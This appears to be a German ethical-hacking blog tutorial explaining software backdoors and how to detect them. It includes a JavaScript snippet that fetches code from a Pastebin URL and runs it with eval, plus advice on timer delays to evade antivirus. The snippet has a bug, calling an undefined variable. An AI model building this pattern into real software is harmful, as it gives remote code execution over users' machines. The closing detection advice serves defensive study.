Was ist eine Backdoor? Wie kann ich mich schützen?

Backdoor Virus Hacking Series Ethical Hacking Steffen Lippke

Hintertüren in Gebäuden kennt jeder! Aber was ist eine Software Backdoor Virus?

Wie funktionieren Backdoors? Wie entwickle ich eine und wie kann ich mich dagegen schützen?

Starten wir!

Was ist eine Backdoor in Software?

Wo ist die Backdoor
Wo ist die Backdoor?

Eine Backdoor baut der Entwickler in seine Software ein, um …

  1. Zugriff auf Deinen Computer zu erhalten
  2. Dateien zu kopieren, ändern, manipulieren und löschen
  3. Dich auszuspionieren
  4. Deinen Computer zu zerstören

Ein Programm mit einer Backdoor ist meist ein harmloses Programm. Wenn das Programm Code nach der Installation über das Internet downloadet, führt das Programm den neuen Code mit den gleichen Privilegien aus, wie das Programm selbst.

Wer nutzt Backdoors und warum?

Regierungen und Nachrichtendienste weltweit fordern Software-Unternehmen auf, Backdoors zur Aufklärung von Verbrechen und Kriminalität in Ihre Produkte einzubauen. Der große Nachteil ist, dass die Amtsträger eine Backdoor für ihre Zwecke missbrauchen können. Backdoors sollen wie die Vorratsdatenspeicherung die Kriminalität bekämpfen. Doch sind die Methoden wirklich effektiv?

Die Privatsphäre steht bei einer Backdoor hinten an und Unternehmen können Erfindungen und Patente nicht mehr auf Ihren elektronischen Geräten geheim halten.

Remote Code Execution richtig gemacht

Remote Code Execution - Was macht die Software - Backdoor verstehen Steffen Lippke
Remote Code Execution

Nehmen wir an, die Verantwortlichen haben eine kostenlose Software releast, die 100.000 glücklichen Kunden gedownloadet haben. Jetzt möchten die Verantwortlichen mit der Backdoor die Kunden ausspähen und die Daten an ein Marketing-Unternehmen weiterverkaufen. Profit ist nie schlecht 🙂

ABER: Wo ist der „Schad“-Code gespeichert?

Remote Server und Speicherung

Die Verantwortlichen speichern den Code auf öffentlichen Servern, wo jeder Text ablegen kann. Ein bekanntes Beispiel ist der Online Pastebin. Texte müssen nicht deutsche Sätze sein, sondern kann auch valider Programmiercode sein.

Normalerweise verwenden die Nutzer Pastebin, um eine (lange) Textpassage mit einem Kollegen oder ähnliches zu teilen. Pastebin ist eine Art Kollaborationstool.

Die Backdoor lädt in regelmäßigen Abständen den Inhalt des Pastebins herunter und führt den Code aus. So können die Verantwortlichen jeglichen Code ausführen (Remote Code Execution).

Backdoor selbst programmieren

Für das Tutorial brauchst Du eine HTML mit einem Abschnitt JavaScript. Diese Backdoor basiert auf den Webtechnologien, um die Funktion simple zu demonstrieren.

Entwickler nutzen eine Backdoor in den Programmen, die sich direkt auf dem Computer ohne Browser ausführen. Das Web-Framework WebAssembly geht einen Schritt weiter und ermöglicht, dass Du C Code auf der Hardware direkt ausführen kannst. Das Framework lässt den Code in einer geschützten Sandbox ausführen. Java, Python, Ruby und C-Programme sind typische Beispiele, die unbeschränkten Zugriff auf dem Computer haben.

WebAssembly lernen
WebAssembly lernen

Vorgehen – Pseudocode

Eine Backdoor funktioniert nach dem gleichen Schema, welche die Programmierer mit nutzlosem Code oder ungewöhnlichen Variablennamen verschleiern.

  1. Die Trägersoftware z. B. ein Textverarbeitungsprogramm startet einen zweiten Prozess neben dem Hauptprozess.
    Dort führt das Programm den Backdoor-Code aus.
  2. Manch eine Backdoor ist so konfiguriert, dass der Prozess mit einem Timer zeitlich versetzt startet. Damit möchte der Entwickler verhindern, dass Antivirenprogramme gleich Alarm schlagen.
    Die vorgeschlagene Schutzmaßnahme #1 ist schwieriger durchzuführen.
  3. Sobald der neue Prozess gestartet ist, lädt das Programm den Schadcode vom Server herunter. Der Autor der Software kennt die Architektur seiner Software und kann die Funktionen der Software anpassen bzw. die Malware mit einer komplett anderen schädlichen Funktion auf dem Computer ausführen lassen.  
  4. Der Inhalt einer HTTP-GET-Anfrage sieht wie Code aus, ist aber vergleichbar mit einem normalen String wie „Hallo Welt“.
    Eine eval-Funktion (JavaScript) wandelt den String in ausführbaren Code um. 98 % der Anwendungen benötigen keine eval-Funktion und IT-Security Experten raten davon ab.
  5. Sobald die eval-Funktion den Code konvertiert hat, führt sich der Schad-Code aus.

JavaScript Beispiel

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Simple Backdoor</title>
    <script>
        window.onload = function () {
            console.log("Backdoor");
            var getBackdoorRequest = new XMLHttpRequest();

            getBackdoorRequest.open("GET", "https://pastebin.com/raw/aD4JR2aG");

            getBackdoorRequest.addEventListener('load', function (event) {
                if (getBackdoorRequest.status >= 200 && getBackdoorRequest.status < 300) {

                    eval(getBackdoorRequest.responseText);

                } else {
                    console.warn(getBackdoorRequest.statusText, getBackdoorRequest.responseText);
                }
            });
            request.send();

        }
    </script>

</head>

<body></body>

</html>

Wenn ein Programmierer eine Backdoor entwickeln möchte, achtet dieser darauf, dass diese möglichst unkenntlich ist.

Wenn aber ein HTTP-Request auf eine eval-Funktion unmittelbar folgt, solltest Du genauer hinsehen.

Schutz gegen Backdoors

Eine Backdoor ist in ein Programm fest implementiert.

Der Nutzer kann eine Backdoor nicht erkennen, weil diese innerhalb des kompilierten und gepackten Binärcodes liegt. Die Entwickler wollen aus Sicherheitsgründen und Schutz der eigenen Ideen nicht, dass jeder den Code einsehen kann.

Eine Backdoor kannst Du auf zwei Weisen erkennen:

Traffic untersuchen und Muster erkennen

Wenn der Quellcode für Dich nicht einsehbar ist, solltest Du den eingehenden und den ausgehenden Internet-Traffic am Computer beobachten.

Das geht am besten mit Wireshark. Schau mal in das Wireshark -Tutorial rein. Dort erkläre ich alle Grundlagen.

Untersuche mit Wireshark - Backdoor verstehen Steffen Lippke
Untersuche mit Wireshark

Die Backdoor wartet mit einem Timer Minuten bis Tage. Dann lädt die Backdoor den Code von einem Server herunter.

Dieser Traffic ist messbar – aber das Beobachten ist aufwendig

Kontrolle ist besser – Code

Schaue Dir den Code einer Open-Source-Software an, um Dich der Abwesenheit einer Backdoor zu vergewissern.

Open Source ist Zentral - Backdoor verstehen Steffen Lippke
Open Source ist Zentral

Dort kannst Du nach der Struktur einer Backdoor suchen.

Nachdem Du eine Backdoor gebaut hast und das Prinzip verstanden hast, kannst Du im offenen Quellcode eine Backdoor einfacher erkennen.

Manche Backdoors sind sehr kryptisch programmiert, sodass das Erkennen in einem großen Coding-Projekt schwierig ist. Andere Teilnehmer und Nutzer der Software kann die Verwendung einer Backdoor auffallen und diese Malware öffentlich anprangern.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert


Jeden Monat teile ich mit Mitgliedern
4 neue praxisnahe Tutorials (je 1000+ Wörter).


Trage Deine Mail, damit Du
Deine Coding + Hacking Skills erweitern kannst!

Die Webseite nutzt nur technisch notwendige Cookies.